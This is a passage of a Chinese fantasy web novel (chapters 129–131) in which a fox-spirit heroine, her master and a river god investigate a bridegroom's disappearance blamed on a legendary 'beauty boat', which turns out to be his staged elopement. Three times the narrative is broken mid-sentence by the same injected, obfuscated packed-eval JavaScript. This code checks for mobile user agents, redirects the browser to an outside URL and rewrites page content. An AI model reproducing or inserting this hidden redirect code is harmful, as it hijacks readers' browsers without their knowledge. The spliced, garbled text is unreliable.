河伯忽而眼神闪烁,硬着头皮思索道:“那天是起风了,但是说大不大,说小不小,赶着良辰吉日要过河也不是不行。” 白瑶追问道:“师傅,您这几天有没有看到或者听到什么不同寻常的事?” 渔夫叹了一口气:“害,不同寻常的事不就是那个传说中的画舫吗?原来你们是想问这个?我是没见着,要我说,那船女人是看上了公子的美貌,所以将他们带上船玩乐。人都说他们是失踪了,我说他们指不定怎么快活呢。我在这条河上守了这么多年也没遇上,是没这个福气啊。” 河伯眼睛微微一亮,小声说:“是啊,我也想看看那画舫上的女子长什么模样......” 白瑶扯了扯嘴角:“像你这么想的人多吗?” 渔夫嬉笑道:“呵呵,有这么个说法吧。” 看来镇上的人倒不见得很怕美人舫,反而还将这个传说当成了一桩美谈。 说来也是,那些公子是失踪了,不是死了。若是他们被带到一处与世隔绝的世外桃源,还有一众美娇娘相伴,不就是一桩美谈吗? 白瑶深深看了河伯一眼:“你该不会是想让我们把美人舫引出来,让你好观瞻观瞻?” 河伯擦了擦冷汗,眼睛飞快地眨了眨:“公......白姑娘,您要相信我啊。我任劳任怨数百年,没有功劳也有苦劳,您怎么能这么看我呢......” 129. 第 129 章 九曲镇临水而建,河道与桥梁纵横交错,如同一张伸向四面八方的网,将一个一个建筑连接在一起。 河伯带着晏离与白瑶来到那户有公子失踪的人家门前,棕红色的大门半阖着,楼宇宽阔高耸,色泽鲜亮,相较周遭饱经风霜、墙面斑驳的建筑而言,可以说的上是大户人家。 里面隐隐约约传来低泣声,随着一声不耐烦的低喝,四周静得只余清风拂过水面,推动流水拍打岸边的哗哗声。 河伯略显尴尬地抬眼看了一眼晏离,低头拍了拍门:“宗先生,宗先生在家吗?” 不一会儿,一位身姿板正、穿着打扮一丝不苟的中年男人打开门,原本蹙起的眉头和焦躁的神色在看见河伯后,陡然一松,似乎舒了一口气,换上了一副殷切的模样。 “何先生,您可来了。”中年男人望了一眼河伯身边的二位,略一沉吟,恍然道:“这两位就是先生说的高人?快请进快请进!”说着,便侧身请他们进去。 一进屋内,几道揣摩的目光很快聚集在晏离和白瑶身上。屋里除了宗先生还有四人,一位与他年纪相当、形容憔悴的女人应当是宗夫人,另一位满头白发、与宗先生相貌相像的老人应当是宗先生的母亲。 他们身侧分别站着一位年轻的男子,一位身材纤瘦、眉眼灵动,一见他们进来就飞快又隐蔽地打量了一圈。另一位身材又高又壮,五官有些钝感,稍稍抬眼看了他们一眼,又低头专注地给老太太捏肩。 “娘,这就是何先生说的高人,他一定能将淇儿找回来。”话音一落,两位女人眼中顿时亮了一下,宗夫人身旁纤瘦的男子又飞快地扫了他们一眼。 老太太一双狭小的眼睛望着晏离与白瑶二人,走到他们跟前仔细瞅了瞅,伸手欲触碰他们,被晏离长袖一晃,自然地挡开了。 身后紧紧跟着的高大少年赶忙扶住宗老太太,老太太激动地拍了拍他的手说:“好......好,高人一定要尽快帮我们将淇儿找回来,他已经失踪七日了,等不得了。” 宗夫人也站起身:“高人,你们有没有什么眉目了?” 河伯赶紧道:“他们在路上已经听我说了事情的经过,不过还有些细节需要向你们打听。我听说宗淇是要过对岸去接新娘?他失踪前后还有什么特别的地方?你们若是知道都可以说说,说不定会派上用场。” 宗夫人一听神情略有失望,但很快振作起来,回忆道:“淇儿和商姑娘的婚事是自幼定下的,这几年他们年纪也到了,我们就挑了个良辰吉日想将对方接过来。喜事需要筹备的很多,淇儿这些天每天忙到半夜,我没看出他有什么特别的。” 她回头瞥了一眼那名纤瘦的男子,问:“阿九,你一直跟在公子身边,那日究竟发生了什么?” 阿九赶忙上前说道:“那日公子用完早膳就带着我和其他四名侍从出发去长洄镇接亲,一路走出镇子都与往常一样。出了镇子后到河边要走过一片树林,不知是不是我早上吃了隔夜的豆浆,肚子突然不舒服,我看离接亲的时间还早,就跟公子说去林中方便一下。 “公子没多说什么,让我一会儿自己去河边与他们汇合。我没敢耽误多少时间,约莫不到一炷香的功夫,眼瞧着就快赶到河边时,天色突然暗了下来。河上狂风大作,浓雾弥漫,路上寸步难行,我差一点就被卷到天上去了,只好躲在一棵大树后面......” 阿九边说边看他们的反应,奈何晏离面不改色,眼神没有一丝波澜。 阿九咽了咽喉咙,接着说道:“我在大树后面躲着,风吹得我眼睛都睁不开,只觉得眼前忽然一阵光晃过,我定睛一看,一搜好大的船从河上驶过。那艘船上有一栋两三层楼高的船舱,我从来没见过这么大的船,还以为出现了幻觉。 “紧接着,我听见了一串女子的笑声,那船上好像出现了很多很多人影,飘忽不定的,我吓了一跳。这时我才想起来公子,我在树后望了望河边,没有看见公子和那些侍从的影子,我又四处看了看,没想到......我在那艘船的甲板上看到了他们。” 宗先生面色异常严肃,阿九小心翼翼地看了他一眼,微微垂下头:“我看到公子在那艘船上,觉得很奇怪,我们明明订的是普通的舟,什么时候订了这样的船?那艘船转而向前滑行,风势也跟着小了很多,我从树后跑出来,追着那艘船喊公子,但他们好像没有听到。 “那艘船驶入了浓雾之中,雾气太重了,一开始还能看到一点影子,后来就什么都看不到了。我恍然想起来或许那就是传说中的美人舫,我实在太害怕了,出了这事儿我没法和先生夫人交待,所以就林中躲了两天才回来。” 晏离瞥了一眼河伯:“那日河上狂风大作......” 河伯紧张得眨了眨眼睛:“可能就是一阵吧,我也不是一直盯着这条河......” 晏离思忖片刻,问阿九:“你可有看见船上人影的样貌和衣着?” 阿九摇了摇头:“太远了,我看不清楚,不过听声音应当都是女子。” 晏离又问:“在场可还有其他人看见了?” 阿九犹豫了一下,凝眉道:“应当没有吧......” 美人舫大白天在河上将人掳走,整个过程河伯没有丝毫的感应,却叫一个侍从看到了全部经过,倒像是故意让他看到一般。美人舫中的妖魔鬼怪究竟是想让人知道还是不想让人知道? 白瑶问道:“商姑娘那边怎么说?” 宗夫人的眼眶红了,掩着面声音艰涩道::“商姑娘原本以为淇儿要悔婚,很是生气,现在得知他失踪,天天以泪洗面,吃不下饭睡不着觉。这样下去,她的身子怕是也撑不住了。这可怎么办,真的是那座美人舫吗?那美人舫传说有去无回,若真是......我可怎么活啊......” 宗先生宽慰道:“美人舫从来都是夜间出没,淇儿是白天失踪的,也许不是美人舫。再说......美人舫也不是没有回来的。” 白瑶眼神一变:“有人从美人舫上回来了?” 宗老太太点点头:“在五年前是有一位公子失踪后又回来了,可是要找他?他就住在隔壁那条街的街角,叫名泮。” “您还知道些什么?”白瑶问。 宗老太太拧眉思索了半晌,犹犹豫豫地说:“我记得他本来也是有婚事的,被美人舫带走之后,那家姑娘就退了婚。等他一年之后回来时,姑娘已经嫁人了。他倒也没有闹,不过后来好像也没有再娶亲了。唉,他上了美人舫谁知道发生了什么事,谁还敢把姑娘嫁给他?若是商姑娘也退了亲,淇儿可怎么办?” 白瑶点点头:“也许还有转机,晚些时候我们过去问问他。” 宗老太太激动地上前拉住白瑶的手,望着白瑶和晏离目含泪光:“两位高人,你们一定要把淇儿带回来啊。” 宗老太太身后的高大男子扶着她,抬眼看了一眼白瑶,只一眼白瑶感到他的目光明显停滞了一下。那眼神不似被她的美貌惊呆了,而是夹杂着一丝诧异,而后又变为了了然。只是他看上去老实,神色真挚,并未让人觉得冒犯。 白瑶有几分奇怪,她从未见过这名男子,他这个眼神怎么好似认得她?白瑶转头对宗老太太说:“您放心,我们既然来了,就一定会把这件事查清楚。”她借着伸手去扶宗老太太的功夫,悄悄往那名男子方向凑近了一步,一不留神脚下似乎踩到了什么东西。 那名男子赶忙挪开,白瑶低头一看,才发现自己不小心踩了他的脚。她有意打探,却不是有意踩他的脚,不过他这双脚委实有些太大了,足足有她两脚宽。 白瑶呵呵一笑:“不好意思,我不是故意的。” 那男子看了她一眼,木讷地点点头,也不说话。宗老太太打圆场说:“没事没事,这是我亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137793|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚家的孩子小东,本来是前些天过来帮忙的,没想到发生了这样的事。” 白瑶听了仔细打量了小东几眼,见他神色坦然,倒不像有什么异样。 晏离、白瑶与河伯走出宗家,在前往名家的路上,晏离问:“之前被美人舫带走的公子都有什么特点?” 河伯跟在他身后思索道:“据说都是年轻男子,有些是结了婚的,有些是有定了亲的,美人舫好像专门喜欢找有婚事的。” 晏离停住脚步,侧身回望他一眼,眸色清冷:“美人舫如何知道那些公子有婚事?” 白瑶点点头:“对啊,公子有婚事难道还挂个牌子在胸前写上名草有主了吗?美人舫怎么知道他们是有婚事的?” 河伯犹豫了一下:“这......这我就不知道了,镇上男子一般成年就会定亲,许是那美人舫专挑二十以上的。” 晏离继续往前走,问道:“她们如何知道公子有二十以上?” 河伯“嘶”了一声:“看模样?也差不离吧?晏离公子,您问这个做什么?” 正在此时,三人走到了名家门口。 名家与宗家不能相提并论,房屋老旧,墙角杂草丛生,墙体晕染了大片的水渍。由此看来,美人舫挑人也不看公子出身。 名家门户破败,推门进去也没有见到人,一个打扮简朴的中年男人弓着腰在屋内编草鞋,他们进来时挡住了外面的光线,男人才抬起头眯了眯眼,低声问:“你们是?” 男人有些年纪,收拾得不太讲究,下巴的胡渣深深浅浅,但是五官还算端正。 河伯试探道:“你是......名泮?” 男人狐疑地打量了他们几眼:“你们是谁?” 河伯与晏离、白瑶对视一眼,眼底有些复杂。这时屋里走出两位老人,见了他们拧起眉:“你们是谁?你们来做什么?” 河伯赶紧道:“名公子,我们是专门来查美人舫的事的......”话音未落,名泮眼中瞳孔陡然一缩,似是惊惧一般抖了一下,脸色白了下来。 两位老人也面露震惊之色:“是谁告诉你们的?我们什么也不知道。” 白瑶见气氛不妙,解释道:“我们没有恶意,我们只是想查明真相,还九曲镇一个安宁。名公子,我们可以和您谈一谈吗?” 两位老人余光瞥了名泮一眼,将他们往外驱赶:“不行,我们没什么可说的,我们也不想再听见这个名字。” 三人在他们的驱赶之下向后退了两步,越过两位老人望向坐在屋内分毫未动的名泮:“名公子,我们谈一谈吧。我们只是想找到美人舫,你也是受害者不是吗?难道还要让美人舫继续作乱吗?” “够了!”名泮突然沉声吼道。 院内沉寂下来,鸦雀无声。 名泮抬起惨白的脸,眼睛染上了一丝猩红,望着他们声音带着哀求道:“都过去了。我不想再提了,请你们高抬贵手吧。” 门在身后狠狠地关上,三人背对着门,望着眼前小河中的潺潺水流一时静默无言。 白瑶没好气地说:“什么嘛,想帮他们查清楚他们不领情就算了,怎么态度如此恶劣?” 河伯扯了扯嘴角,心虚地瞅了一眼晏离,小声对白瑶说:“也许名公子在船上遇见了什么不好的事情,受到的打击太大了,所以不想再提了。唉,这也没办法,看来想要从名公子这里得到信息很难了。我们下一步怎么办?” 白瑶睥了他一眼:“怎么办?你说怎么办?在你的地盘出的事你一点办法都没有,美人舫出现了那么多次,你一次都不知道,如果不是这一次闹大了,你是不是还想瞒过去?你怎么当河伯的?” 河伯低下头嘟囔道:“我是真没发现。” 白瑶冷哼一声,转头去问晏离:“师父,接下来我们去哪儿?” 晏离望向河道的另一端:“长洄镇。” 130. 第 130 章 长洄镇与九曲镇隔着九曲河道,镇上风格相似,透着一股水乡的婉约。几人按着宗家给的地址找到了商姑娘的家,商家听他们是为了宗淇失踪的事而来,将他们迎进了屋内。 商姑娘打扮了一番才出来,胭脂和口脂掩盖了她原本的气色,看眼神有些疲惫,但神态并非总夫人说的那么悲怆不堪。天色渐暗,她站在门厅还未取下的红灯笼下,衣衫被映得鲜艳似火。 商姑娘听他们说了事情的来龙去脉,幽幽叹了一口气,望着手中的茶盏浅浅笑了一下,笑容未达眼底,欲言又止道:“或许......宗淇是不想娶我的。” 她抬起头,有些不好意思地笑了一下,眼睛晶莹闪动:“真是的,现在好像不是说这个的时候。” 白瑶疑惑:“宗淇可是说了做了什么?没事,你可以告诉我们,说不定能派上用场。” 商姑娘斟酌了一下,目光幽幽地望着门外沉寂的夜色:“我感觉这一年来,宗淇对我的态度不似先前了。我们从小认识,对对方的喜好都很了解,我知道他喜欢吃镇东店的早茶,他知道我惯用的胭脂,我们见面时总是会注意到对方的偏好,也会注意对方细小的习惯,一直以来我们相处得都很融洽。 “往年我同他书信,两个小镇来回只需两日,一周之内必然会收回他的回信,可是这一年来他有好几次都是拖到我再次写信才回复。我问他为什么,他只说自己太忙。 “他知道我喜欢九曲镇的小笼包,往年每次来长洄镇都会带上一笼,这一年却好几次都是空手而来。我问他,他还责怪我不懂事。 “除此之外,两个月前他最后一次来长洄镇看我,我们一同乘马车出门,他居然没有在车内放置软垫,让我坐了一路的冷板凳,还说让我忍一忍。这是先前从来没有过的。” 商姑娘咬了咬唇,垂眸说道:“我并非娇气的人,也不是不能忍,只是他好像不再在意我的感受。他知道我喜欢什么,但并不给予我,知道我不喜欢什么,却如此坦然。有时我也在想,我真的要与这样的人过一生吗?或许,或许他失踪了也是件好事......”商姑娘的声音越来越小,最后只是做了个口型。 白瑶三人一时愣在当场,不知该接什么话,他们想来问问商姑娘有没有宗淇失踪的线索,没想到打听到人家姑娘不想嫁了。宗夫人担心的事,果然还是发生了啊。 河伯愣了半晌,脸色惨淡地问:“商姑娘,你要不要再考虑一下?” 商姑娘摇了摇头:“这几天我已经考虑的很清楚了,明日我就叫人将婚书退回去。”商姑娘深吸一口气,眼神比先前明快了许多:“气话归气话,虽然我退婚了,但我还是希望宗淇能平安无事地回来。” 白瑶又问:“商姑娘,除此之外,这段时间宗淇还有没有别的特别的地方?” 商姑娘沉吟了一会儿,摇摇头:“我也不清楚。他失踪的事,我答应了要替宗家保密,虽然宗淇对我的态度变了,但宗家却没有亏待我。街坊邻里都还不知道,希望各位也不要声张。” 从商家出来后,三人漫步在河边。天色已暗,水中映着一轮幽幽的月色,随着波浪轻轻浮动。 “你们觉得商姑娘刚才说的话有用吗?宗淇为何在这一年里突然转变了态度?”白瑶问望着水中盈盈月色问。 河伯听着水声拍打岸边,好似浑身充盈、通体舒张,脚步也随之轻盈起来,对白瑶的问题不以为然:“男人态度转变通常是有了外心。” 白瑶脚步一顿,拧眉道:“外心?” 河伯转过头说:“哎,也不一定是有别人了,但总归是觉得你不那么重要了。” 白瑶不悦道:“最起码的尊重要有吧?” 河伯一听白瑶的声音中隐隐带着怒气,立马低头道:“公主说的是。他们就是不把别人当回事,又太拿自己当回事了。我看这宗淇丢的不冤。说的也是,谁会在准备迎亲的路上跟别的女人跑了?我看是他自己把持不住。” 就在两人议论时,晏离停在了河边,月白色的衣裳在黑夜中泛着冷冷银辉,衣袂随风扬起,长发随意地飘在身后。他冷峻的目光落在河上,微微用仙力探查了一番,却没有在河上感受到一丝怪异的气息。 美人舫真的就在这里吗? 三人回到宗家借住,夜色昏沉,宗先生来问他们今日的进展。他们没有告诉宗先生关于商姑娘要退婚的事,但宗先生脸色不大好看,似乎有些预感。 回房时遇见小东端着一盆水从宗老太太房里出来,看见他们三人脚步停了一下,目光局促地望了一眼,微微点了点头,匆匆从他们身边绕过去。 白瑶回头看着他高大的身影消失在走廊拐角处,不知是不是她多虑了,她总觉得小东好似在躲着他们。刚才他的目光也不知道是在看谁,总归不是那么陌生。 第二天一早,屋外便喧闹起来。 商家来退婚,将聘礼尽数退了回来,在屋前堆满了一车。宗先生和宗夫人的脸色都很不好看,宗夫人本想挽留,却被宗先生拉住了袖子,硬生生压了回去。 可怜宗老太太受不了这个打击,急的呜呼一声晕了过去,众人一番手忙脚乱将她抬回房里。河伯挺身而出替她诊治,所幸老太太并无大碍,就是接连这些天太过忧虑,把身体急虚了。 宗先生焦头烂额,再三恳求三人一定要尽快找到宗淇。 可美人舫来无影去无踪,他们如何能找到都是个问题,更不用说加快时间了。 三人在九曲河边一蹲就是三天,这三天河面上风平浪静、水光潋滟,半点没有不同寻常的痕迹。 河伯捡起一颗石子,丢进水中,石子擦着湖面啪啪啪啪连续跳跃了几十下,在河道中间的位置咕咚沉入水中。 白瑶看着新奇,也有模有样地捡起一颗石子,瞄准了湖面掷去,石子在湖面一擦,只跃动了两下就被河水一口吞进了肚子。 河伯心里隐隐有些得意,又捡起一颗石子从水面打出,这下白瑶数清楚了,石子居然接连在湖面跳跃了一百三十六下。 白瑶惊叹道:“河伯......你该不会练了很多年吧......” 河伯对白瑶震惊的模样很是受用,眯着眼哼哼道:“我可是河伯,打水漂怎么能输给别人?” 一旁,晏离望着湖面不知在思索什么,一双眸子沉静如水,地面四周几颗石子忽然颤动起来,而后突然漂浮于空中。 随着他如白玉般的手指在空中虚点,几粒石子斜斜擦着清澈如镜面的水,如鸟轻点水面一般,向前飞越而去,声音轻却急促,眨眼之间连跃数十、上百下,瞬间抵达了河的对岸。 河伯与白瑶顿时目瞪口呆,半晌才缓过神来,一齐侧过头看向晏离,目光呆滞中带着一丝嫉妒。 河伯摆摆手:“晏离公子,你用了仙力,这是作弊啊。” 晏离清冷的目光从水面挪开,冷冷哼了一声:“你掌管河道数百年,就学会了打水漂? 河伯喉头一哽:“我不是......” 白瑶看河伯吃瘪,正在心里幸灾乐祸,突然听见晏离说:“你修炼了数百年,连打水漂都不会?” 白瑶脸色一白:“我没有......” 晏离淡淡道:“去找美人舫。”转身走开,留下两人在风中反省自己这数百年究竟在做什么。 河伯泄了气,背着手百无聊赖地在河边转悠:“这可咋么办呐。难道美人舫一直不出现,我们就要一直在河边等吗?” 白瑶捧着脸,幽幽叹了一口气,惆怅道:“美人舫只收俊俏公子上船,该不会是因为你,美人舫才不出现的吧?” 河伯停下脚步,一脸怔然:“还有这样的事?我也可以化成美男子啊。”忽而金光一现,河伯丰腴的身材嗖的一下变得紧致,衣服也跟着收缩变窄。白发变黑,眼睛变大,脸上五官也硬挺起来。他站在白瑶面前搔首弄姿道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137794|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主,您看这样够俊俏吗?” 白瑶看惯了河伯中年大叔的模样,此时就算他变好看了也不会和俊俏扯上关系,只能遗憾地摇摇头:“你骗骗普通人就罢了,美人舫的法力若是在你之上,定然不会被你的表象所迷惑。” 河伯气得鼓起脸颊,砰的一声膨胀的肚子撑开了衣扣,又变回了中年大叔的模样。 “公主,美人舫只收男子,或许是因为你是女子,美人舫才不出现的。”河伯将责任推给了白瑶。 白瑶眨眨眼睛,说着:“有道理。”然后腾地一下变成了男子的装扮,一身上宽下窄的灰蓝色官服衬得他器宇轩昂。河伯看的一愣,拍了拍手:“公主,你要是男子不知道该迷倒多少女人。” 白瑶得意地一笑,背着手大摇大摆地从河边走过,走了一个来回、两个来回、三个来回......河上依旧没有任何变化。 白瑶恢复了女儿装扮,有些颓然地蹲在河边,随手又捡起石子丢在水中:“怎么还不出现?”水中幽幽倒映映着她沮丧的小脸,她看到了自己也看到了河伯,却没有看见晏离的身影。 她站起身四处张望,发现晏离走进了河道旁的树林之中,正定定地望着林深处,目光越来越沉,似乎要透过遮掩的树林看向深处的什么东西。 “怎么了?”白瑶问,忽而一阵怪异的气味钻进鼻子,像是草木的气息中夹杂着腐臭味。许是她本为狐狸,嗅觉过于灵敏,她只觉得眼前一黑,差点背过气去。 她立刻用袖子掩住口鼻:“这是......什么气味?” 晏离向前走了几步,停在一处大树前,背对着他们看不见是何神情,只听他冷沉地说:“我们需要离开了。” 。 第四天,几人去向宗先生和宗夫人作别。 堂上,宗先生听说他们要走,神色尚且还算镇定,只是握紧了拳头。宗夫人眼泪像断了线的珍珠一颗一颗砸下来,哽咽道:“连几位高人也没有办法吗?” 河伯面露难色,长叹一口气:“或许是美人舫上的妖魔鬼怪法力更甚我们一筹,我们这些天没有发现任何蛛丝马迹。没能帮上忙,老夫实在惭愧。若是以后还有需要帮忙的,老夫一定登门相助。” 宗先生又心怀侥幸地望向冷着脸的晏离,晏离也道:“我们确实无能为力。” 白瑶抿了抿嘴,带着歉意说:“不好意思,请节哀。” 宗夫人呜咽一声哭了出来,匍匐在案几上哭得上气不接下气,身旁阿九垂着头不知在思索什么,目光落在宗夫人身上,眼中划过一丝复杂的神色。 落日余晖中,金色斜阳泼洒在宗家楼阁的外墙上,三人趁着天还未暗走出宗家,河伯叹了一口气:“哎,白忙活了一场,我们什么忙也没帮上,只能打道回府了。二位好走。”余光略略回望了一眼,宗家二楼的阴影处似乎闪过了一个身影,河伯没有看清。 晏离和白瑶与河伯作别,三人就此分道扬镳,向不同的方向走去。 深夜,月色比往日更加深沉,层层叠叠的树叶就像密不透风的网,将山林笼罩在黑暗之中。 一道人影钻入山林中,四处打量一番,而后向着一个方向摸索过去。他走了很久很久,扒开眼前遮掩的枝叶,跨过脚下纵横交错的根茎,小心又急迫地向山林深处走去。 他轻车熟路地停在了一个树洞前,微微喘了几口气,一双眼睛警惕地看了看四周,将手伸进树洞之中。很快,他收回手,手中握着一团油纸。 他将油纸打开,忽然神色一变,又飞快地四处看了一眼,再次将手伸进树洞中摸索,又将头凑近了眯着眼焦急地辨认。 可是周遭实在太暗了,树洞里什么也看不清。 忽而,身后透过一束明亮的光线,打在了树洞上。那人背对着光陡然睁大了眼睛,寒毛耸立,浑身颤抖起来。 “你是在找这个吗?”一个清脆的女声于阒静深林中突兀响起。 131. 第 131 章 那人隐没在黑暗中,哆哆嗦嗦地转过头,在光线下带着一丝僵硬的脸,居然是宗家的阿九。 晏离、白瑶和河伯三人站在光亮处严肃地望着他,河伯手中拎着一袋印着镇东的油纸袋,散发着一股酸臭味。 河伯捏着鼻子,手举得远远的:“是你将这袋剩下的吃食塞在树洞里的?” 阿九扯了扯嘴角,仓皇问道:“你们不是走了吗?怎么会在这里?” 白瑶抱起双臂:“当然是为了引你上钩啊。” 阿九脸色沉了沉,反问道:“什么意思?让你们追查公子的下落,你们找不到就算了,引我做什么?” 话音未落,阿九直觉一阵寒意袭来,不似山中的晚风那般温和,而是凌冽如冬日的寒气。晏离抬眼冷冷睨了他一眼,只一眼就叫他无法动弹:“你家公子不是被美人舫带走了,而是自己走的。” 阿九眼皮一跳,扯起嘴角道:“怎么可能?我亲眼看见他上了美人舫。” 白瑶问道:“你说你亲眼见他上了美人舫,你连船上之人的样貌衣着都看不清,怎么知道上船的是你家公子?” 阿九提起一口气:“谁说我没看清,我看清了,公子就是上船了。你们倒是说说,公子为什么要自己走?” 河伯拧着眉摇了摇头:“不见棺材不落泪。你说那天你家公子被‘美人舫’劫走后,你在山林中多待了两日,靠的就是这袋点心果腹吧,镇东店的点心你的工钱可买不起,这点心是怎么来的?“ 阿九的神色迟疑了一下,转而问:“我的工钱再少,也可以攒着用。这点心是我买的不行吗?” 河伯将油纸袋打开,里面还有半块发黑的酥饼,他一脸嫌恶地拿出来:“这可是镇东店最贵的凤凰酥,一块抵得上你一周的工钱。你若是自己买的,怎么会舍得剩下?” 阿九还是一口咬定是自己买的:“一周的工钱怎么了?我觉得不好吃,吃了两口就吃不下了。” 晏离忽然问道:“你真的用了一周的工钱?” 阿九神情紧张起来:”怎么了?” 白瑶眼中波动,望着阿九淡然地说:“凤凰酥,以凤求凰为寓意,从不单卖。若是买了两块,能抵得上你半个月的工钱才是。” 昏暗中,阿九呼吸一滞,呵呵笑了两声:“一块两块怎么了?都过了八九天了,又发生了那么大的事,我记不清了不行吗?” 白瑶深吸一口气,淡然道:“刚才是我瞎说的,这既不是凤凰酥也没有规矩不能单卖,不过是最便宜的油酥罢了,也怪不得你觉得不好吃。但你坚持说是自己买的,我以为你是知道的。你不知这是什么,记不清买了几块,也忘了花了多少钱,却能在半夜潜入树林,在伸手不见五指的环境里,准确无误的找到那棵藏着半块点心的树洞。这有些说不过去吧?” 阿九眼神闪烁,一双灵动的眼睫飞快地扑闪着,嘴抿成了一条线。 晏离冷冷质问道:“既然你觉得不好吃便仍了,为何现在还要回来找?” 阿九答不上来,身体微微向后退了半步,余光四处张望。 河伯见他不说话,耐不住性子抢答道:“我们已经找镇东店确认过了,那日来买点心的是你家公子,他买了足够吃两三日的点心,他去长洄镇接亲一日便可来回,为何要买那么多点心?你说你是中途去方便,为何这点心会落在你手中?难道他提前知道你会在山中多待几日?” 面对河伯的逼问,阿九已如强弩之末,无法继续否认,他咬了咬唇,目光幽幽地望着河伯:“你什么意思?” 白瑶望着他,眼神犀利而睿智,语气坚定又坚决:“从始至终都没有美人舫,是你家公子和你自导自演的一场戏。你那公子怕是看上了别的女人,但又碍于面子不敢退亲,所以借了美人舫的传说,和别人私奔了吧?” 阿九脸色在光线的照耀下越发苍白,他纤瘦的身体微微颤动,攥拳的双手颓然地垂在身侧。 “阿九!”树林外突然传来一声呼喝。 阿九一听,双膝抖动得更厉害了,垂下头不敢看向声音的来处。 宗先生和宗夫人从林子外走进来,神色俱是震惊非常。宗夫人在遭受了一连串的打击后,看上去苍老了很多,目光流露出难以置信和悲愤的神色,像是一击重拳击打在阿九的身上。 “阿九,他们说的是真的吗?淇儿到底去哪儿了?”宗先生声音带着颤抖。 阿九见到宗先生和宗夫人后,一改适才倔强的模样,像个犯了错的孩子低着头,迟迟没有开口。 “你说话啊!”宗夫人焦急地喊道。 “他们说的......是真的......”阿九小声应道:“公子去年做买卖时遇到了一位心仪的姑娘,这一年他们一直暗中来往,这一切都是他事先安排的,借着美人舫的故事让人以为他被带走了,其实他们现在就躲在山下的镇子里......” 宗先生气的浑身发抖:“叫人去把他抓回来。快去!” 天亮后,久闻大名的宗淇终于出现在大家的面前,宗先生与宗夫人怒其不争,责罚他闭门思过数日后,带着重礼去向商姑娘和街坊邻居道歉。 谁能想到美人舫只是宗淇为了掩盖自己私欲的幌子,让人不禁对美人舫的故事产生了怀疑。白瑶百思不得其解,总觉得这个故事有些虎头蛇尾:“美人舫难道只是个传说?那么名泮又是怎么回事?他可是真的见过美人舫?” 在知道宗淇失踪和美人舫无关后,河伯神态轻松了不少,不以为道:“谁知道呢?不过多半是假的,见过美人舫的公子有去无回,他怎么逃出来的?我看这九曲镇上失踪的男子十有八九都是遇上了别的事,失踪了总得有个原因吧,所有解释不了的事情推给美人舫就对了。不是美人舫需要这些男子,而是这些男子需要一个美人舫来掩盖他们的秘密。” 解决了宗淇的事情,晏离、白瑶与河伯这次真的要走了。 宗家将他们送到镇外,宗先生对河伯感激道:“何先生,这次多谢了,若不是你,我这儿子还不知什么时候才能找回来。”似乎又想起宗淇干的蠢事,哀叹一声:“我这儿子实在不成气候,怎么能干出这样混账的事。我真是太惭愧了。” 河伯在心里默默想,可不,我守着河道几百年还真没见过如此荒诞的事。 宗先生脸上无光:“家门不幸,还有很多事情要善后,也不好多留先生了。” 河伯点点头表示理解,一行人沿着林中小道向九曲河走去。 宗夫人身后,跟着的小东望着他们远去的方向,看着万里无云的天空,微微凝眉轻声道:“河上......要起风了。” 河上泛着清波,带着草帽的渔夫撑着木筏在平静的水面上悠扬地滑行,远远看去就像一片随波漂游的落叶。 河伯笑眯眯地说:“晏离公子,多亏有您,不然美人舫这污水泼到我身上,我跳进九曲河也洗不清了。这下好了,总归是解决了。我下次一定带上最顶级的河鲜登门拜访,好好谢谢您。” 晏离面不改色道:“不必。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137795|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你管理的河道出了事,理应由你来解决,下不为例。” 河伯点头哈腰:“是是是,都是承了公主的福,不然我哪有这个面子请来晏离公子......”他说着悄悄地拿余光看了一眼晏离和白瑶的反应,两人神色未变,像是不买他的账。 河伯立刻圆滑地说:“能够请来二位是我烧了高香,我以后自己的事一定不麻烦别人,无事绝对不再打扰晏离公子。 “既然如此,我就先告退了。” 晏离应了一声,河伯如获大赦,轻轻向后退去,退至河边正准备没入水中,忽而身后一阵不同寻常的风逆转而起,将他的头发胡乱地拍打在脸上,蒙住了他的眼睛。 原本平静的河面上,霎时间乌云汇聚,天色陡然暗了下来,强大的气流将木筏掀到了岸边。渔夫一个踉跄,惊惧地抬起草帽向天上望去:“怎么突然起风了?” 河面掀起波涛,河水上涌,不一会儿就扑到了他们的脚边。 几人连连后退。 天空突然一声炸响,浪涛汹涌的河面上,空气旋转凝聚成一道竖型的屏障。 一个尖角从漩涡中心处破空而出,而后逐渐从屏障中驶出。 白瑶不由伸长脖子瞪大了眼睛,只见那个在河道上凭空出现的尖角越来越宽,显现出一广阔的露台,继而天色渐暗,巨大的船舱遮天蔽日,如一栋恢弘楼宇拔地而起。 